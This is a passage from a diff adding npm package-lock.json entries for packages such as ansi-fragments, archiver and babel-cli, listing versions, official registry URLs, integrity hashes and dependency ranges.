"sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/ansi-fragments": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/ansi-fragments/-/ansi-fragments-0.2.1.tgz", + "integrity": "sha512-DykbNHxuXQwUDRv5ibc2b0x7uw7wmwOGLBUd5RmaQ5z8Lhx19vwvKV+FAsM5rEA6dEcHxX+/Ad5s9eF2k2bB+w==", + "peer": true, + "dependencies": { + "colorette": "^1.0.7", + "slice-ansi": "^2.0.0", + "strip-ansi": "^5.0.0" + } + }, + "node_modules/ansi-fragments/node_modules/ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-fragments/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "peer": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/ansi-fragments/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "peer": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/ansi-fragments/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/ansi-fragments/node_modules/slice-ansi": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz", + "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==", + "peer": true, + "dependencies": { + "ansi-styles": "^3.2.0", + "astral-regex": "^1.0.0", + "is-fullwidth-code-point": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-fragments/node_modules/strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "peer": true, + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", + "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ansi-styles": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", + "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/anymatch": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-1.3.0.tgz", + "integrity": "sha1-o+Uvo5FoyCX/V7AkgSbOWo/5VQc=", + "dev": true, + "dependencies": { + "arrify": "^1.0.0", + "micromatch": "^2.1.5" + } + }, + "node_modules/appdirsjs": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/appdirsjs/-/appdirsjs-1.2.7.tgz", + "integrity": "sha512-Quji6+8kLBC3NnBeo14nPDq0+2jUs5s3/xEye+udFHumHhRk4M7aAMXp/PBJqkKYGuuyR9M/6Dq7d2AViiGmhw==", + "peer": true + }, + "node_modules/aproba": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", + "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", + "dev": true + }, + "node_modules/archiver": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/archiver/-/archiver-3.1.1.tgz", + "integrity": "sha512-5Hxxcig7gw5Jod/8Gq0OneVgLYET+oNHcxgWItq4TbhOzRLKNAFUb9edAftiMKXvXfCB0vbGrJdZDNq0dWMsxg==", + "dev": true, + "dependencies": { + "archiver-utils": "^2.1.0", + "async": "^2.6.3", + "buffer-crc32": "^0.2.1", + "glob": "^7.1.4", + "readable-stream": "^3.4.0", + "tar-stream": "^2.1.0", + "zip-stream": "^2.1.2" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/archiver-utils": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-1.3.0.tgz", + "integrity": "sha1-5QtMCccL89aA4y/xt5lOn52JUXQ=", + "dev": true, + "dependencies": { + "glob": "^7.0.0", + "graceful-fs": "^4.1.0", + "lazystream": "^1.0.0", + "lodash": "^4.8.0", + "normalize-path": "^2.0.0", + "readable-stream": "^2.0.0" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/archiver-utils/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/archiver/node_modules/archiver-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-2.1.0.tgz", + "integrity": "sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==", + "dev": true, + "dependencies": { + "glob": "^7.1.4", + "graceful-fs": "^4.2.0", + "lazystream": "^1.0.0", + "lodash.defaults": "^4.2.0", + "lodash.difference": "^4.5.0", + "lodash.flatten": "^4.4.0", + "lodash.isplainobject": "^4.0.6", + "lodash.union": "^4.6.0", + "normalize-path": "^3.0.0", + "readable-stream": "^2.0.0" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/archiver/node_modules/archiver-utils/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/archiver/node_modules/archiver-utils/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/archiver/node_modules/async": { + "version": "2.6.4", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "dev": true, + "dependencies": { + "lodash": "^4.17.14" + } + }, + "node_modules/archiver/node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/archiver/node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/archiver/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/archiver/node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/archiver/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/archiver/node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/archiver/node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "node_modules/archiver/node_modules/readable-stream": { + "version": "3.6.1", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", + "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/archiver/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/archiver/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/archiver/node_modules/tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "dev": true, + "dependencies": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/are-we-there-yet": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.4.tgz", + "integrity": "sha1-u13KOCu5TwXhUZQ3PRb9O6HKEQ0=", + "dev": true, + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" + } + }, + "node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/arr-diff": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-2.0.0.tgz", + "integrity": "sha1-jzuCf5Vai9ZpaX5KQlasPOrjVs8=", + "dev": true, + "dependencies": { + "arr-flatten": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/arr-flatten": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", + "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/arr-union": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", + "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-find-index": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz", + "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-union": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz", + "integrity": "sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=", + "dev": true, + "dependencies": { + "array-uniq": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-uniq": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.3.tgz", + "integrity": "sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-unique": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.2.1.tgz", + "integrity": "sha1-odl8yvy8JiXMcPrc6zalDFiwGlM=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/arrify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", + "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" + }, + "node_modules/asn1": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz", + "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=", + "dev": true + }, + "node_modules/asn1.js": { + "version": "4.9.1", + "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.9.1.tgz", + "integrity": "sha1-SLokC0WpKA6UdImQull9IWYX/UA=", + "dev": true, + "dependencies": { + "bn.js": "^4.0.0", + "inherits": "^2.0.1", + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/assert": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/assert/-/assert-1.4.1.tgz", + "integrity": "sha1-mZEtWRg2tab1s0XA8H7vwI/GXZE=", + "dev": true, + "dependencies": { + "util": "0.10.3" + } + }, + "node_modules/assert-never": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/assert-never/-/assert-never-1.2.1.tgz", + "integrity": "sha512-TaTivMB6pYI1kXwrFlEhLeGfOqoDNdTxjCdwRfFFkEA30Eu+k48W34nlok2EYWJfFFzqaEmichdNM7th6M5HNw==", + "dev": true + }, + "node_modules/assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", + "dev": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/assign-symbols": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", + "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ast-types": { + "version": "0.14.2", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.14.2.tgz", + "integrity": "sha512-O0yuUDnZeQDL+ncNGlJ78BiO4jnYI3bvMsD5prT0/nsgijG/LpNBIr63gTjVTNsiGkgQhiyCShTgxt8oXOrklA==", + "peer": true, + "dependencies": { + "tslib": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/ast-types/node_modules/tslib": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", + "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==", + "peer": true + }, + "node_modules/astral-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz", + "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==", + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/async": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz", + "integrity": "sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=", + "dev": true + }, + "node_modules/async-each": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.1.tgz", + "integrity": "sha1-GdOGodntxufByF04iu28xW0zYC0=", + "dev": true + }, + "node_modules/async-foreach": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/async-foreach/-/async-foreach-0.1.3.tgz", + "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/async-limiter": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz", + "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==", + "peer": true + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", + "dev": true + }, + "node_modules/atob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.1.tgz", + "integrity": "sha1-ri1acpR38onWDdf5amMUoi3Wwio=", + "bin": { + "atob": "bin/atob.js" + }, + "engines": { + "node": ">= 4.5.0" + } + }, + "node_modules/autoprefixer": { + "version": "6.7.7", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-6.7.7.tgz", + "integrity": "sha1-Hb0cg1ZY41zj+ZhAmdsAWFx4IBQ=", + "dev": true, + "dependencies": { + "browserslist": "^1.7.6", + "caniuse-db": "^1.0.30000634", + "normalize-range": "^0.1.2", + "num2fraction": "^1.2.2", + "postcss": "^5.2.16", + "postcss-value-parser": "^3.2.3" + } + }, + "node_modules/autoprefixer/node_modules/browserslist": { + "version": "1.7.7", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", + "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", + "deprecated": "Browserslist 2 could fail on reading Browserslist >3.0 config used in other tools.", + "dev": true, + "dependencies": { + "caniuse-db": "^1.0.30000639", + "electron-to-chromium": "^1.2.7" + }, + "bin": { + "browserslist": "cli.js" + } + }, + "node_modules/aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/aws4": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.6.0.tgz", + "integrity": "sha1-g+9cqGCysy5KDe7e6MdxudtXRx4=", + "dev": true + }, + "node_modules/axios": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.19.2.tgz", + "integrity": "sha512-fjgm5MvRHLhx+osE2xoekY70AhARk3a6hkN+3Io1jc00jtquGvxYlKlsFUhmUET0V5te6CcZI7lcv2Ym61mjHA==", + "deprecated": "Critical security vulnerability fixed in v0.21.1. For more information, see https://github.com/axios/axios/pull/3410", + "dev": true, + "dependencies": { + "follow-redirects": "1.5.10" + } + }, + "node_modules/babel-cli": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-cli/-/babel-cli-6.26.0.tgz", + "integrity": "sha1-UCq1SHTX24itALiHoGODzgPQAvE=", + "dev": true, + "dependencies": { + "babel-core": "^6.26.0", + "babel-polyfill": "^6.26.0", + "babel-register": "^6.26.0", + "babel-runtime": "^6.26.0", + "commander": "^2.11.0", + "convert-source-map": "^1.5.0", + "fs-readdir-recursive": "^1.0.0", + "glob": "^7.1.2", + "lodash": "^4.17.4", + "output-file-sync": "^1.1.2", + "path-is-absolute": "^1.0.1", + "slash": "^1.0.0", + "source-map": "^0.5.6", + "v8flags": "^2.1.1" + }, + "bin": { + "babel": "bin/babel.js", + "babel-doctor": "bin/babel-doctor.js", + "babel-external-helpers": "bin/babel-external-helpers.js", + "babel-node": "bin/babel-node.js" + }, + "optionalDependencies": { + "chokidar": "^1.6.1" + } + }, + "node_modules/babel-cli/node_modules/convert-source-map": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.1.tgz", + "integrity": "sha1-uCeAl7m8IpNl3lxiz1/K7YtVmeU=", + "dev": true + }, + "node_modules/babel-cli/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/babel-code-frame": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz", + "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", + "dependencies": { + "chalk": "^1.1.3", + "esutils": "^2.0.2", + "js-tokens": "^3.0.2" + } + }, + "node_modules/babel-core": { + "version": "6.26.3", + "resolved": "https://registry.npmjs.org/babel-core/-/babel-core-6.26.3.tgz", + "integrity": "sha512-6jyFLuDmeidKmUEb3NM+/yawG0M2bDZ9Z1qbZP59cyHLz8kYGKYwpJP0UwUKKUiTRNvxfLesJnTedqczP7cTDA==", + "dev": true, + "dependencies": { + "babel-code-frame": "^6.26.0", + "babel-generator": "^6.26.0", + "babel-helpers": "^6.24.1", + "babel-messages": "^6.23.0", + "babel-register": "^6.26.0", + "babel-runtime": "^6.26.0", + "babel-template": "^6.26.0", + "babel-traverse": "^6.26.0", + "babel-types": "^6.26.0", + "babylon": "^6.18.0", + "convert-source-map": "^1.5.1", + "debug": "^2.6.9", + "json5": "^0.5.1", + "lodash": "^4.17.4", + "minimatch": "^3.0.4", + "path-is-absolute": "^1.0.1", + "private": "^0.1.8", + "slash": "^1.0.0", + "source-map": "^0.5.7" + } + }, + "node_modules/babel-core/node_modules/convert-source-map": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.1.tgz", + "integrity": "sha1-uCeAl7m8IpNl3lxiz1/K7YtVmeU=", + "dev": true + }, + "node_modules/babel-core/node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/babel-generator": { + "version": "6.26.1", + "resolved": "https://registry.npmjs.org/babel-generator/-/babel-generator-6.26.1.tgz", + "integrity": "sha512-HyfwY6ApZj7BYTcJURpM5tznulaBvyio7/0d4zFOeMPUmfxkCjHocCuoLa2SAGzBI8AREcH3eP3758F672DppA==", + "dev": true, + "dependencies": { + "babel-messages": "^6.23.0", + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "detect-indent": "^4.0.0", + "jsesc": "^1.3.0", + "lodash": "^4.17.4", + "source-map": "^0.5.7", + "trim-right": "^1.0.1" + } + }, + "node_modules/babel-generator/node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/babel-helper-bindify-decorators": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-bindify-decorators/-/babel-helper-bindify-decorators-6.24.1.tgz", + "integrity": "sha1-FMGeXxQte0fxmlJDHlKxzLxAozA=", + "dependencies": { + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-helper-builder-binary-assignment-operator-visitor": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-builder-binary-assignment-operator-visitor/-/babel-helper-builder-binary-assignment-operator-visitor-6.24.1.tgz", + "integrity": "sha1-zORReto1b0IgvK6KAsKzRvmlZmQ=", + "dependencies": { + "babel-helper-explode-assignable-expression": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-helper-builder-react-jsx": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-helper-builder-react-jsx/-/babel-helper-builder-react-jsx-6.26.0.tgz", + "integrity": "sha1-Of+DE7dci2Xc7/HzHTg+D/KkCKA=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "esutils": "^2.0.2" + } + }, + "node_modules/babel-helper-call-delegate": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-call-delegate/-/babel-helper-call-delegate-6.24.1.tgz", + "integrity": "sha1-7Oaqzdx25Bw0YfiL/Fdb0Nqi340=", + "dev": true, + "dependencies": { + "babel-helper-hoist-variables": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + 